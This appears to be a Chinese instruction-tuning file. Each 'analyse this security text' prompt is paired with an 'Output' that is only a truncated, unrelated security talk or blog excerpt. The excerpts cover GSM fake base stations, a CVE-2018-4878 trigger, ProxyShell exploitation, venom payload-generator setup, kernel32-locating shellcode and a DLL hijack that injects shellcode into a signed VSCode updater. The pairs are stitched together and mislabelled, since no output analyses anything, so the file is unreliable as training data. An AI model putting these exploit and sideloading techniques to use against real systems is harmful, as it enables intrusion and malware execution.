•  如何实现⾃自动附着、MITM流量量
•  如何搭建LTE测试基站
•  漏漏洞洞实例例介绍
•  其他测试⽅方法
⽬目的及守则
•  ⽬目的：
–  了了解GSM的安全⻛风险
–  通过搭建测试基站，辅助IOT设备安全漏漏
洞洞挖掘
–  增强产品安全性
•  测试守则：
–  严格遵守相关法律律，不不影响正常信道通信
•  屏蔽器器中/封闭地下室操作
•  如实在条件限制，需调低功率/衰减器器直连
测试⽬目的
•  控制流量量
–  获取流量量（敏敏感数据、接⼝口分析、固件分析、远控&升
级分析）
–  修改流量量（MITM中间⼈人、DNS欺骗）
–  访问（运营商侧interface访问设备 存在漏漏洞洞的端⼝口）
•  控制短信
–  短信下发指令（场景很少）
漏漏洞洞挖掘⽅方法
•
获取云端接⼝口
–
攻击云端web漏漏洞洞（注⼊入、升级FTP）
–
client重放、越权
•
获取通讯数据
–
辅助理理解流程
–
加密信道：辅助分析获取加密密钥，获得加解密能⼒力力
–
获取密码、token、session等关键key
–
获取固件更更新链接
•
修改数据
–
修改配置参数、替换固件
–
注⼊入恶意代码，例例如浏览器器RCE
•
访问监听端⼝口
–
⾃自身提供管理理服务，例例如telnet、adb、ssh
–
分析监听bin，协议模拟/命令注⼊入/溢出攻击
•
协议、基带Fuzz
有时是攻击前
有时在攻击中
两种测试基站需求场景
•  攻击前
–  不不需要任意client⾃自动连⼊入我们的攻击基站
–  只需要⽬目标client能够连⼊入
–  实现： 搭建GSM和LTE测试基站，特殊sim卡写卡实现认证
•  攻击中
–  需要任意client⾃自动从现⽹网切换到我们的攻击基站
–  GSM⽹网络存在认证问题，可能实现
–  实现：搭建GSM攻击基站，通过强制⼩小区重选 连接到攻击
基站
我们先来实现难的-攻击中基站
•  ⾃自动连⼊入攻击基站，并且控制流量量
•  看下腾讯KEEN LAB 攻击宝⻢马⻋车机系统的case
G -- Generation
•  1G 模拟信号 ⼤大哥⼤大
•  2G GSM/CDMA
•  3G  3GPP  WCDMA/CDMA2000
•  4G  LTE
•  5G  ⾼高速率 低延迟 切⽚片 万物互联
时代进步 -- > 技术升级
•  部分标准在设计之初没有考虑安全问题
–  模拟已经不不存在，不不考虑
–  GSM存在问题，但部分地区已退⽹网不不⽀支持2G
•  问题已解决？
•  No
–  所有⼿手机都⽀支持2G
–  ⼤大部分物联⽹网设备通讯模块都⼯工作在2G下（不不要求⾼高速数据）
GSM安全问题
•
2G GSM⽹网络，在设计之初就存在安全问题
–  单向鉴权⽽而⾮非双向，即只有⽹网络鉴定⽤用户是否合法
–  导致伪造基站的可能
伪基站应运⽽而⽣生
Just给你发了一个发送号码
和内容可以自定义的短信%
伪基站内部探究
•  收发板（SDR软件⽆无线电）
•  放⼤大器器（功率）
•  双⼯工器器、电源
•  外部笔记本+软件（Openbts
2.8）
通过软件模拟+收发
设备实现GSM基站
系统
伪基站都做了了什什么
•
⽤用⼯工程机 找个弱频点，设置MCC、MNC等参数和周围⼀一样 LAC不不⼀一样
•
⼿手机获知⼴广播消息，C1C2还很⼤大，呀！这得重选⼩小区到这个伪基站。发
现LAC变了了！这得位置更更新请求
•
⼿手机傻乎乎的给鉴权信息，伪基站看也不不看，来者不不拒
•
⼿手机在伪基站中，伪基站看IMSI（位置更更新时获取的），嗯，刚刚没发
过短信，发⼀一条
•
伪基站利利⽤用完⼿手机了了，然后踢掉它
•
开始其他环节（钓⻥鱼、种⻢马、洗卡、售卖）
•  Just给你发了了⼀一个发送号码和内容可以⾃自定义的短信
我们需要什什么
•  不不可以滥发短信，不不需要⼤大功率，不不可以⼲干扰周
边
•  只需要实现⼩小区切换、⾃自动附着
–  实际上⽆无需测试，请遵守法...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Browser Script Engine
Zero Days in 2018
Elliot Cao
Trend Micro
2019-05-30
Whoami
• Previous occupation is electrical engineer
• Joined in Trend Micro in 2017
• Sandbox developer
• Started browser vulnerability research in 2018
• Focus on browser script engine
• Lei Cao (@elli0tn0phacker)
Agenda
• Browser Zero Days in 2018
• VBSEmulator
• Chakra
Browser Zero Days in 2018
Browser Zero Days in 2018
• Flash:       CVE-2018-4878 CVE-2018-15982
• VBScript:  CVE-2018-8174 CVE-2018-8373
• JScript:     CVE-2018-8653
Flash Zero Days in 2018
• CVE-2018-4878
var psdk:PSDK = PSDK.pSDK;
var psdk_dispatcher:PSDKEventDispatcher = psdk.createDispatcher();
this.mediaPlayer = psdk.createMediaPlayer(psdk_dispatcher);
this.my_DRMListerner = new DRMOperationCompleteListener ();
this.mediaPlayer.drmManager.initialize(this.my_DRMListerner);
this.my_DRMListerner = null;
try {
new LocalConnection().connect("foo");
new LocalConnection().connect("foo");
}
catch (e:Error) {
my_DRMListerner_vuln = new DRMOperationCompleteListener ();
}
Flash Zero Days in 2018
• CVE-2018-4878
Create an Object
var psdk:PSDK = PSDK.pSDK;
var psdk_dispatcher:PSDKEventDispatcher = psdk.createDispatcher();
this.mediaPlayer = psdk.createMediaPlayer(psdk_dispatcher);
this.my_DRMListerner = new DRMOperationCompleteListener ();
this.mediaPlayer.drmManager.initialize(this.my_DRMListerner);
this.my_DRMListerner = null;
try {
new LocalConnection().connect("foo");
new LocalConnection().connect("foo");
}
catch (e:Error) {
my_DRMListerner_vuln = new DRMOperationCompleteListener ();
}
var psdk:PSDK = PSDK.pSDK;
var psdk_dispatcher:PSDKEventDispatcher = psdk.createDispatcher();
this.mediaPlayer = psdk.createMediaPlayer(psdk_dispatcher);
this.my_DRMListerner = new DRMOperationCompleteListener ();
this.mediaPlayer.drmManager.initialize(this.my_DRMListerner);
this.my_DRMListerner = null;
try {
new LocalConnection().connect("foo");
new LocalConnection().connect("foo");
}
catch (e:Error) {
my_DRMListerner_vuln = new DRMOperationCompl...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Ayoub ELAASSAL
ayoub.elaassal@wavestone.com
@ayoul3__
CICS BREAKDOWN
Hack your way to transaction city
© WAVESTONE
2
What people think of when I talk about mainframes
© WAVESTONE
3
The reality: IBM zEC 13 technical specs:
• 10 TB of RAM
• 141 processors,5 GHz
• Dedicated processors for JAVA, XML and
UNIX
• Cryptographic chips…
Badass Badass Badass !!
So what…who uses those anymore ?
© WAVESTONE
4
APIS IT - Atos Origin - Applabs - Arby’s – Wendy’s Group - Archer Daniels Midland - Assurant - AT&T / BellSouth / Cingular - Atlanta Housing Authority - Atlanta Journal
Constitution - Atlantic Pacific Tea Company (A&P) - Aurum/BSPR - Auto Zone - Aviva - Avnet - Avon (Westchester) - Axa (Jersey City) - ANZ Bank - BI Moyle Associates, Inc.
- Bajaj Allianz - Bank Central Asia (BCA) - Bank Indonesia (BI) - Bank International Indonesia (BII) - Bank Nasional Indonesia (BNI46) - Bank Of America - Bank of America
(BAC) - Bank of America (was Nations Bank – Can work out of Alpharetta office) - Bank of Montreal (BMO:CN) - Bank of New York Mellon (BNY) (BK) New York NY,
Pittsburgh, PA and Nashville, TN, Everett - Bank of Tokyo (Jersey City) - Bank Rakyat Indonesia (BRI) - Bank Vontobel - BB&T - Belastingdienst - Bi-Lo - Blue Cross Blue
Shield - Blue Cross Blue Shield GA - Blue Cross Blue Shield MD - Blue Cross Blue Shield SC - Blue Cross Blue Shield TN - Blue Cross/Blue Shield of Texas - Brindley
Technologies - BMC Software - BMW - BNP Paribas Fortis Brussels Belgium - BNP Paribas Paris France - Boston Univerity - Broadridge Financial Services - Brotherhood Bank
& Trust - Broward County Schools - Brown Brothers Harriman (BBH) - British Airways - C&S Wholesale Grocers - CA Technologies - California Casualty Management
Company, San Mateo and Sacramento, CA - Canadian Imperial Bank of Commerce (CIBC) - CAP GEMINI - Capco - Capital One - Glen Allen/West Creek - Catapiller - Cathy
Pacific - CDSI - Ceridian - CGI - Charles Schwab - Chase - Chemical Abstract Serv...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

ICS 35.020
 CCS
YD
中 华 人 民 共 和 国 通 信 行 业 标 准
YD/T 1756T—2018
 [代替 YD/T]
 研发运营一体化（DevOps）能力成熟度
模型 第 4 部分：技术运营
  The Capability Maturity Model of DevOps   Part 4 : Technical Operation
management
（送审稿）
 （本稿完成日期：2019.6.20）
[××××]-[××]-[××]发布
[××××]-[××]-[××]实施
中华人民共和国工业和信息化部! 发 布
YD/T 1756T—2018
I
目  次
目  次 ............................................................................................................................................................ I
前  言 .......................................................................................................................................................... III
研发运营一体化（DevOps）能力成熟度模型 第 4 部分：技术运营 ........................................................... 1
1 范围 ................................................................................................................................................................ 1
2 规范性引用文件 ............................................................................................................................................ 1
3 术语和定义及缩略语 .................................................................................................................................... 1
3.1 术语和定义 ............................................................................................................................................. 1
3.1.1 配置项 configuration item ................................................................................................................ 1
3.1.2 制品 artifact ...................................................................................................................................... 1
3.1.3 代码复杂度 code complexity ........................................................................................................... 1
3.1.4 部署流水线 deployment pipeline .................................................................................................... 1
3.1.5 研发运营一体化 DevOps ...................................


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Outline
Background
Meddle Framework
XRDP Fuzzing
DeviceIoControl
Sandbox
Conclusion
Meddle: Framework for piggy-back fuzzing and
tool development
Geo↵ McDonald
glmcdona@gmail.com, unaﬃliated presentation
August 8, 2014
DEF CON 22
Geo↵McDonald
glmcdona@gmail.com, unaﬃliated presentation
Meddle: Framework for piggy-back fuzzing and tool development
Outline
Background
Meddle Framework
XRDP Fuzzing
DeviceIoControl
Sandbox
Conclusion
1. Background
About Me
Fuzzing
File Format Fuzzing
Protocol Fuzzing
2. Meddle Framework
Introduction
Meddle Target
Meddle Process
Meddle Controller
3. XRDP Fuzzing
XRDP Server
4. DeviceIoControl
DeviceIoControl Demo
5. Sandbox
Malware Sandbox Demo
6. Conclusion
Geo↵McDonald
glmcdona@gmail.com, unaﬃliated presentation
Meddle: Framework for piggy-back fuzzing and tool development
Outline
Background
Meddle Framework
XRDP Fuzzing
DeviceIoControl
Sandbox
Conclusion
About Me
About Me
Vancouver, Canada
Game hacking (Ultima Online MMORPG)
Reverse-engineering tool developer
Previously Symantec
Currently at Microsoft
Personal website http://www.split-code.com/
Geo↵McDonald
glmcdona@gmail.com, unaﬃliated presentation
Meddle: Framework for piggy-back fuzzing and tool development
Outline
Background
Meddle Framework
XRDP Fuzzing
DeviceIoControl
Sandbox
Conclusion
Fuzzing
Types of Fuzzing
File Format Fuzzing
PDF, Microsoft Word, or TrueType fonts
Protocol Fuzzing
RDP, VNC, SSL, or Voip
Application Fuzzing
COM objects, API calls, or inter-process communication
Web Application Fuzzing
Joomla, WordPress, or any website
Geo↵McDonald
glmcdona@gmail.com, unaﬃliated presentation
Meddle: Framework for piggy-back fuzzing and tool development
Outline
Background
Meddle Framework
XRDP Fuzzing
DeviceIoControl
Sandbox
Conclusion
Fuzzing
Fuzzing Tools
SPIKE from Immunity [1]
Network protocols and web applications
Basic Fuzzing Framework (BFF) from CERT [2]
File format
SAGE from Microsoft [3]
Input fuzzing
AutoFuzz [4]
Network protocols by MITM
COMRaider [5]
COM interface...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Improving Cybersecurity through
Non-Technical Exercises and In-
House Strategic Analysis
View from the Czech Republic
by Michal Thim
DRAFT - DO NOT QUOTE
DISCLAIMER: The views and opinions expressed in this presentation are those of the presenter and do
not necessarily reflect the official policy, position of the National Cyber and Information Security
Agency of the Czech Republic, or any other government agency.
 Cyber and policy/OSINT specialist at the Czech National Security
Authority/National Cyber and Information Security Agency (NCISA) since August
2016, with research focus on East Asia (military and security developments,
APTs)
 Background in political science. Not even remotely close to be a technical
expert.
 Worked in a foreign policy think-tank (experience with decision-making
environment)
 Tried academic environment (and left it behind, which made both me and
academia quite happy)
 Developed some knowledge of Chinese language (can order coffee in Starbucks
and has a 50% chance to answer correctly YES/NO question)
 Above is not atypical personnel profile at the NCISA
DRAFT - DO NOT QUOTE
 Central body of state administration for cyber security
 Mission(s)
 Operation of the government CERT team: GovCERT.CZ
 Cooperation with national & international CERT teams
 Coordination and implementation of the National Cyber Security
Strategy and related Action Plan
 Protection of critical information infrastructure and other
important systems (helping them to protect themselves)
 Preparation of exercises and education projects
 Analysis and monitoring of cyber threats
 International cooperation
DRAFT - DO NOT QUOTE
 Outline of the institutional framework for
cybersecurity in the Czech Republic
 Non-technical exercises and its relevance for
decision making process
 Strategic analysis helps decision makers to
understand cybersecurity
DRAFT - DO NOT QUOTE
DRAFT - DO NOT QUOTE
 Even relatively simple setup involves number of agencies
ac...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Airsnarf
Why 802.11b Hotspots Ain’t So Hot.
Coming up...
• Disclaimer
• Example hotspot setup & weakness
• Rogue APs
• Demo of Airsnarf
• Defense strategies
Disclaimer
• This presentation and example software are
intended to demonstrate the inherent
security flaws in publicly accessible
wireless architectures and promote the use
of safer authentication mechanisms for
public 802.11b hotspots.  Viewers and
readers are responsible for their own actions
and strongly encouraged to behave
themselves.
Example HotSpot Setup
• Visit hotspot provider website and create
login
• Visit hotspot with wireless device
• Power on, associate, get IP, DNS, etc.
• Open web browser and get redirected
• Login, backend authentication & billing,
welcome to the Internet
Is this secure?
Access Point
SSID: “goodguy”
SSID: “badguy”
Stronger or Closer
Access Point
“ANY”
Wi-Fi Card
SSID: “goodguy”
“badguy”
Rogue APs?
• Rogue AP = an unauthorized access point
• Traditional
– corporate back-doors
– corporate espionage
• Hotspots
– DoS
– theft of user credentials
– AP “cloning”
Hotspot Rogue AP Mechanics
• “Create a competing hotspot.”
• AP can be actual AP or HostAP
• Create or modify captive portal behind AP
• Redirect users to “splash” page
• DoS or theft of user credentials
• Bold attacker will visit ground zero.
• Not-so-bold will drive-by with an amp.
Airsnarf
• Nothing special
• Simplifies HostAP, httpd, dhcpd, Net::DNS,
and iptables setup
• Simple example rogue AP
• Demonstration
Defense Strategies
• Local AP awareness
• Customer education
• One-time authentication mechanisms
• Don’t charge for hotspot access?
Links
• Airsnarf - http://airsnarf.shmoo.com
• HostAP - http://hostap.epitest.fi/
• Red Hat Kernel w/ HostAP -
http://www.cat.pdx.edu/~baera/redhat_hostap/
• Looking for hotspots? -
http://www.hotspotlist.com/
• Other “wireless portal software” -
http://www.personaltelco.net/index.cgi/PortalSoftware
Questions?


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

#BHUSA @BlackHatEvents
Living Off the Walled Garden:
Abusing the Features of the Early Launch
Antimalware Ecosystem
Matt Graeber
Director, Threat Research @ Red Canary
#BHUSA @BlackHatEvents
Information Classification: General
Who protects the protector?
Introduction to ELAM and PPL
#BHUSA @BlackHatEvents
Information Classification: General
Previous work - Everything is derivative
Thank you James
and Alex!
#BHUSA @BlackHatEvents
Information Classification: General
Protected Process Light Protections
● Designed to prevent tampering in user-mode, even as admin.
● Cannot start or stop protected processes
● Cannot get a handle to a protected process
● Cannot attach a debugger to a protected process
● To run protected, an executable must meet specific signing
requirements.
#BHUSA @BlackHatEvents
Information Classification: General
Early Launch AntiMalware (ELAM) Drivers
● Microsoft’s supported 3rd party security product anti-tampering
mechanism.
● Specifies certificate hashes allowed to run at the Antimalware-
Light PPL protection level
● “Microsoft requires that Early Launch Antimalware vendors be
members of the Microsoft Virus Initiative (MVI).”
● Vendors must pass the WHQL driver submission.
#BHUSA @BlackHatEvents
Information Classification: General
Enumerating installed ELAM drivers
#BHUSA @BlackHatEvents
Information Classification: General
Early Launch Antimalware (ELAM) Driver Hashes
● Certificate hashes are To-Be-Signed (TBS) hashes.
● TBS hash is not the same as a Thumbprint!
● Tools to calculate TBS hash:
○ certmgr.exe (Windows SDK)
○ Get-TBSHash
● VirusTotal doesn’t understand TBS hashes…
#BHUSA @BlackHatEvents
Information Classification: General
ELAM Driver Signer Resource
MicrosoftElamCertificateInfo
MSElamCertInfoID
{
3, // count of entries
L”CertHash1\0”,
Algorithm,
L”EKU1\0”,
L”CertHash2\0”,
Algorithm,
L”\0”, //No EKU for cert hash 2
L”CertHash3\0”,
Algorithm,
L”EKU3a;EKU3b;EKU3c\0”,  //multiple EKU entries supported (max: 3)
}
Protecting anti-malwar...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

FluX on: E.A.S.
(Emergency Alert System)
Presented By:
Matt Krick, “DCFluX”
Chief Engineer, New West Broadcasting Systems, Inc.
DEF CON 16
Las Vegas, NV
Track 2, 12:00-12:50, Saturday, August 9, 2008
WARNING:
Shut down all transmitters with active
microphones in the room.
Do not re-transmit ‘Hot’ audio.
Saturday Night Live, TV Funhouse, Fun With Real Audio ©1997 by NBC, Inc.
About the Author
• Matt Krick
• “DCFluX”
• Video Editor
• Broadcast Engineer
– 1998 to Present
• K3MK
– Licensed to
Transmit, 1994 to
Present
Video Advantage ©2002 by Media Concepts, Inc.
Warning Systems
1. CONELRAD
2. EBS
3. EAS
4. EAS: The Next Generation
1. CONtrol of ELectromagnetic RADiation
• 1951 - 1963
• All FM, TV and most AM stations sign-off
• Some AM stations required to broadcast
on 640 kHz or 1240 kHz
• All radios marked with CONELRAD
indicators on frequency dials
• Carrier on and off in 5 second intervals
– 1000 Hz alert tone for 20 - 25 seconds
1. CONtrol of ELectromagnetic RADiation
Photo by: Trevor Paglen
Department of Geography, University of California at Berkeley
1. CONtrol of ELectromagnetic RADiation
• CONELRAD Stress Test
– Transmitter power supply failure
– Local electrical substation failure
– Transmitter output network failure
– Transmitter carrier tube failure
– Transmitter modulator tube failure
• 1963 - 1997
• Introduction of ‘Two-Tone’ alert
– 853 & 960 Hz for 20 - 25 seconds
• Required 24 / 7 manned stations to
relay alerts
2. Emergency Broadcast System
2. Emergency Broadcast System
• EBS Stress Test
– Transmitter power supply failure
– Local electrical substation failure
– Transmitter modulator tube failure
3. Emergency Alert System
• 1997 - Present (1994)
• Administered by FEMA, FCC & NOAA
• Introduction of “SAME” encoded digital
message headers
– EAS uses 853 & 960 Hz Alert Tone
– SAME uses 1050 Hz Alert Tone
• Fully automated
3. Emergency Alert System
• Emergency Action Notification (EAN)
• Emergency Action Termination (EAT)
• National Informat...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

关于如何在kali-2019.4上安装
Venom
我尝试在最新版的kali-2019.4上面安装venom，但是安装软件依赖的时候提示超
时，无法继续安装，如下图
后面在各大安全群寻求帮助，都没有答复，而后只能向国外友人询问，他告诉我最
新版kali无法安装是因为没有安装zenity
安装
成功截图，生成exe均没有问题
安装zenity
apt-get install zenity
下载源码
git clone https://github.com/r00t-3xp10it/venom.git
设定执行许可
cd venom-main
sudo find ./ -name "*.sh" -exec chmod +x {} \;
sudo find ./ -name "*.py" -exec chmod +x {} \;
安装所有依赖项
cd aux && sudo ./setup.sh
运行主工具
sudo ./venom.sh


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

#proxyshell for workload
从发布上个文章后，好多从那个文章加微信的朋友都提到了负载问题，但是搬家没时
间看。最近刚搬完家看了一下大致解决了这个问题，顺便做一个记录。脚本已公开至
个人 github。
https://github.com/wudicainiao/proxyshell-for-exchange_workload
0x02
Wsman 发送请求时有顺序的序列，而遇到负载时这个特点会造成顺序发送请求时，
有些请求发给了负载的其他机器，从而造成 cmdlet 调用失败，会报错如下。
但是并不是所有这个报错的都是负载，sid 认证失败后如果还持续发送请求，也会报
该错误。
具体看目标是否存在负载，可查看 response header 中 X-CalculatedBETarget 的值是否
有变化，就可知道目标是不是负载或大概有多少个负载服务器。
这个问题上，一开始并没有想到如何解决，当时想着去看下 wsman 能不能压缩请求
次数看一下怎么改造这个库文件。
之后又突然想到把思路颠倒一下，实际上这个问题就如链接 webshell 时遇到的负载问
题一样，逆向思维我们只要确保每个请求都发给了目标负载就可解决这个问题，改造
原 poc，主要的修改代码如下。
测试执行 get-user 等有很多个请求包的 cmdlet，已可稳定利用。但是在针对有数十个
负载的目标时候，还需要重新写一下脚本以提高效率。
Ref:
https://github.com/dmaasland/proxyshell-poc


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

About your JOB
Ethen @ TDOH
Security Consultant
Defense / Forensic / Analysis
Full-stack SOC Engineer
Developer
Free and Open
ethen@tdohacker.org
XXX
“”
“”
•
•
•
•
Penetration Test
SOC
SOC
Security Operation Center
/
 /
2016/06/26
...
……
TDOH
https://goo.gl/jaVUtO
https://goo.gl/RqN9y1
http://tdohacker.org/
VSSecurity

HITCON


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Tim Hsu
CHROOT.ORG
PDF created with pdfFactory Pro trial version www.pdffactory.com
2008/7/25
2
¤ HIT(Hacks In Taiwan)主辦人
¤ 網駭科技創辦人
¤ 資訊安全技術研究者，同時也是 Linux 愛好者。
¤ 專長於網路程式設計、網路滲透測試、駭客攻擊手法研究、惡意程
式分析及嵌入式系統等。
¤ 著作
¡ Linux C 函式庫詳解辭典 (旗標)
¡ The Wargame 駭客訓練基地 - 決戰台灣版(旗標) (與曾信田、莊明
躍、何弈甫等人合著)
2
PDF created with pdfFactory Pro trial version www.pdffactory.com
¤ Malicious Document Introduction
¤ How To Identify The Malicious Code In The
Document
¤ Static And Dynamic Analysis
¤ To Identify Which Vulnerable
¤ Demo
PDF created with pdfFactory Pro trial version www.pdffactory.com
¤ What Is Malicious Document?
¤ Office Document/CHM/PDF
¤ Other
¡ RAR/ZIP/MDB/…
PDF created with pdfFactory Pro trial version www.pdffactory.com
ShellCode
EXE/DLL
Malicious
Document
EXE/DLL
C:\Windows\System32\
PDF created with pdfFactory Pro trial version www.pdffactory.com
ShellCode
EXE/DLL
Malicious
Document
C:\Windows\System32\
EXE/DLL
DOC
PDF created with pdfFactory Pro trial version www.pdffactory.com
¤ Kernel32.DLL
¤ Different Windows Version
¤ Find kernel32.dll
¡ PEB(Process Environment Block)
¡ SEH(Structured Exception Handling)
¡ TOPSTACK
PDF created with pdfFactory Pro trial version www.pdffactory.com
¤ PEB (Process Environment Block)
¤ Every running process that can always be
found at fs:[0x30] from within the process.
¤ Works on: 95/98/ME/NT/2K/XP/2K3
¤ mov eax, fs:[eax+0x30]
PDF created with pdfFactory Pro trial version www.pdffactory.com
¤ SEH(Structured Exception Handling)
¤ Starts at local process address fs:0
¤ Works on: 95/98/ME/NT/2K/XP/2K3
¤ xor ecx, ecx
¤ mov esi, fs:[ecx]
PDF created with pdfFactory Pro trial version www.pdffactory.com
¤ Uses Thread Environment Block (TEB) located
at fs:0x18h as starting point
¤ works on: NT/2K/XP/2K3
¤ xor esi, esi
¤ mov esi, fs:[esi + 0x18]
PDF created with pdfFactory Pro trial version www.pdffactory.com
¤ Anti-Virus Software
¤ Signature
¡ Typical opcode
¡ PE/MZ Format
œ MZ
PDF created with pdfFactory Pro trial version www.pdffactory.com
She...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

@patrickwardle
DEATH BY 1000 INSTALLERS
...it's all broken :(
WHOIS
“leverages the best combination of humans and technology to discover
security vulnerabilities in our customers’ web apps, mobile apps, IoT
devices and infrastructure endpoints”
security for the
21st century
@patrickwardle
issues; bugs; & exploits!
OUTLINE
authorization
core issues
finding 0days
bugs
exploits
(user-assisted) privilege escalation
THE GOAL
infect
trojan
email
exploits
}
1
2 escalate privileges
$_
#_
fake popups (lame)
vulnerabilities
today, we'll focus on finding & exploiting vulnerabilities in
installers/updaters that (with user assistance) provide the
means for local elevation of privileges.
}
(not lame)
today's talk
AUTHORIZATION
executing priv'd actions (ui)
(low-priv'd) apps may need to perform priv'd actions
THE NEED
installing
updating
debugging
system conf
}
most
 common
...for me, about 1x a day!
authentication & authorization
BEHIND THE SCENES
security agent:
 show authentication dialog
installer:
"I wanna do a
priv'd action"
1
2
3
4
authorization daemon:
authorization database
XPC
XPC
priv'd action!
more info:
"Authorization Services
Programming Guide" -apple
"*OS Internals v.III" -levin
consult auth db
xpc for auth prompt
request via AuthorizationExecuteWithPrivileges()
BEHIND THE SCENES
installer:
"I wanna do a
priv'd action"
1
AuthorizationRef authRef;
AuthorizationCreate(NULL, kAuthorizationEmptyEnvironment, kAuthorizationFlagDefaults, &authRef);
AuthorizationExecuteWithPrivileges(authRef, "/path/to/binary", kAuthorizationFlagDefaults, NULL, NULL);
AuthorizationExecuteWithPrivileges()
define TRAMPOLINE "/usr/libexec/
security_authtrampoline"
AuthorizationExecuteWithPrivileges()
-> AuthorizationExecuteWithPrivilegesExternalForm()
switch (fork()) {
 //child
 case 0:
 execv(trampoline, (char *const*)argv);
$ ls -lart /usr/libexec/security_authtrampoline
-rws--x--x  root  wheel security_authtrampoline
int main() {
AuthorizationItem right = {EX...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

源代码安全测试云平台服务商
Secure Your Code Trust Your Software    www.haodahengye.com.cn     18910080395
Fortify SCA 支持 Android 源码安全漏洞检测类别
1. Access Control: Android Provider
2. Access Control: Database
3. Android Bad Practices: Missing Broadcaster Permission
4. Android Bad Practices: Missing Receiver Permission
5. Android Bad Practices: Sticky Broadcast
6. Cross Site Scripting: Persistent
7. Cross Site Scripting: Poor Validation
8. Cross Site Scripting: Reflected
9. Header Manipulation: Cookies
10. Insecure Storage: Android External Storage
11. Log Forging
12. Password Management
13. Password Management: Empty Password
14. Password Management: Hardcoded Password
15. Password Management: Null Password
16. Password Management: Weak Cryptography
17. Path Manipulation
18. Privacy Violation
19. Privilege Management: Android Location
20. Privilege Management: Android Messaging
21. Privilege Management: Android Telephony
22. Privilege Management: Missing API Permission
23. Privilege Management: Missing Intent Permission
24. Query String Injection: Android Provider
25. Resource Injection
26. SQL Injection
27. System Information Leak
                                      源代码安全测试云平台服务商
Secure Your Code Trust Your Software    www.haodahengye.com.cn     18910080395
HP Fortify SCA 支持 iPhone 源码安全漏洞检测类别
1. Access Control: Database
2. Code Correctness: Regular Expressions Denial of Service
3. Format String
4. Key Management: Hardcoded Encryption Key
5. Log Forging
6. Memory Leak
7. Often Misused: Encoding
8. Often Misused: File System
9. Often Misused: SMS
10. Often Misused: Weak SSL Certificate
11. Password Management: Empty Password
12. Password Management: Hardcoded Password
13. Password Management: Null Password
14. Path Manipulation
15. Privacy Violation
16. Privacy Violation: Keyboard Caching
17. Privacy Violation: Screen Caching
18. Resource Injection
19. SQL Injection
20. Unreleased Resource: Streams
21. U...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

DEF CON 19
Malware Freakshow 3:
 They're pwning er'body out there!
Nicholas J. Percoco & Jibran Ilyas
Copyright Trustwave 2011
Agenda
•  Introduction
•  Evolution of Malware
•  Sample Analysis + Victim + Demo
•  Sample SL2010-161 – Kameo (Grocery Store)
•  Sample SL2011-014 – Memory Dumper (Bar)
•  Sample SL2011-026 – Webcheck.dll (Work)
•  Sample SL2011-039 – Android Malware (Phone)
•  Conclusions
Copyright Trustwave 2011
Inspiration – “System Intruder”
“Well… There's malware on the interwebs. They're pwning all
your systems, snatching your data up. So hide your cards, hide
your docs, and hide your phone, 'cause they're pwning er'body
out there!” – Zero Cool
Copyright Trustwave 2011
Introduction – Who are these guys?
Nicholas J. Percoco (@c7five)
•  Head of SpiderLabs at Trustwave
•  Started my InfoSec career in the 90s
•  4th DEF CON talk (2 more this weekend – Droid & SSL)
•  Primary author of Trustwave’s Global Security Report
Jibran Ilyas (@jibranilyas)
•  Senior Forensic Investigator, Spiderlabs at Trustwave
•  9 Years of InfoSec Experience
•  Speaker at several Global Security Conferences like Black
Hat, DEF CON, SecTor, Source Barcelona, etc.
•  Masters degree from Northwestern University
Copyright Trustwave 2011
Introduction – Why give a “Freakshow”?
Exploits
  are
  commodi0es.
  Malware
  fuels
  the
  business
  of
  crime*.
*“They're pwning er'body out there!”
Copyright Trustwave 2011
Introduction – What’s this about?
This
  the
  3rd
  Itera0on
  of
  this
  Talk
•
2009
  –
  KeyLogger,
  MemDumper,
  Video
  Poker,
  Sniﬀer
•
2010
  –
  MemDumper,
  Logon
  Creden=als
  Stealer,
  Sniﬀer,
Client-‐Side
  (PDF
  Malware)
New
  Targets
  This
  Year
  -‐>
  YOU
•
Your
  Grocery
  Store
•
Your
  Favorite
  Bar
•
Your
  Work
•
Your
  Smart
  Phone
Copyright Trustwave 2011
Evolution of Malware - 2009
•  Sloppy
  malware
  developers
•  Just
  “tes=ng
  th...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

用Golang编写 dll劫持的一些坑 (3)
源于知识星球的一个想法，利用一些已知的dll劫持的程序作为"模板",自动生成白加黑的程序。
我想用Golang编写劫持的dll，这样也方便可以做成在线平台。
我们的目标不是让它弹一个信息框，而是让它执行shellcode，并且使用一些hook技术保证白程序只加
载一个dll的同时不和后续的代码冲突  这需要我们编写一个通用的dll白加黑的劫持模板，当然dll加载模
式不同劫持的方式也不同。
我找到是vscode它的更新程序，也有它官方的签名
被劫持的dll在 inno_updater.exe 的导入表中，这种劫持可以叫它 pre-load ，我只用实现它的5个函数
就可以了。
因为我想做成通用型的，对于这种输入表导入的dll做劫持，只需要在 DllMain 中获取主程序的入口点，
然后将shellcode写入入口点，之后主程序运行就会执行我们的shellcode了。
C代码如下
测试过是能够正常使用的。
但是把它转成Go的过程中，踩了不少坑。
C代码转换为Go
int WINAPI DllMain(HINSTANCE hInstance, DWORD fdwReason, PVOID pvReserved)
{
        switch (fdwReason)
        {
        case DLL_PROCESS_ATTACH:
            hello_func();
            break;
        case DLL_PROCESS_DETACH:
            break;
        }
        return TRUE;
}
void hello_func()｛
    DWORD baseAddress = (DWORD)GetModuleHandleA(NULL);
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)baseAddress;
    PIMAGE_NT_HEADERS32 ntHeader = (PIMAGE_NT_HEADERS32)(baseAddress +
dosHeader->e_lfanew);
    DWORD entryPoint = (DWORD)baseAddress + ntHeader-
>OptionalHeader.AddressOfEntryPoint;
    DWORD old;
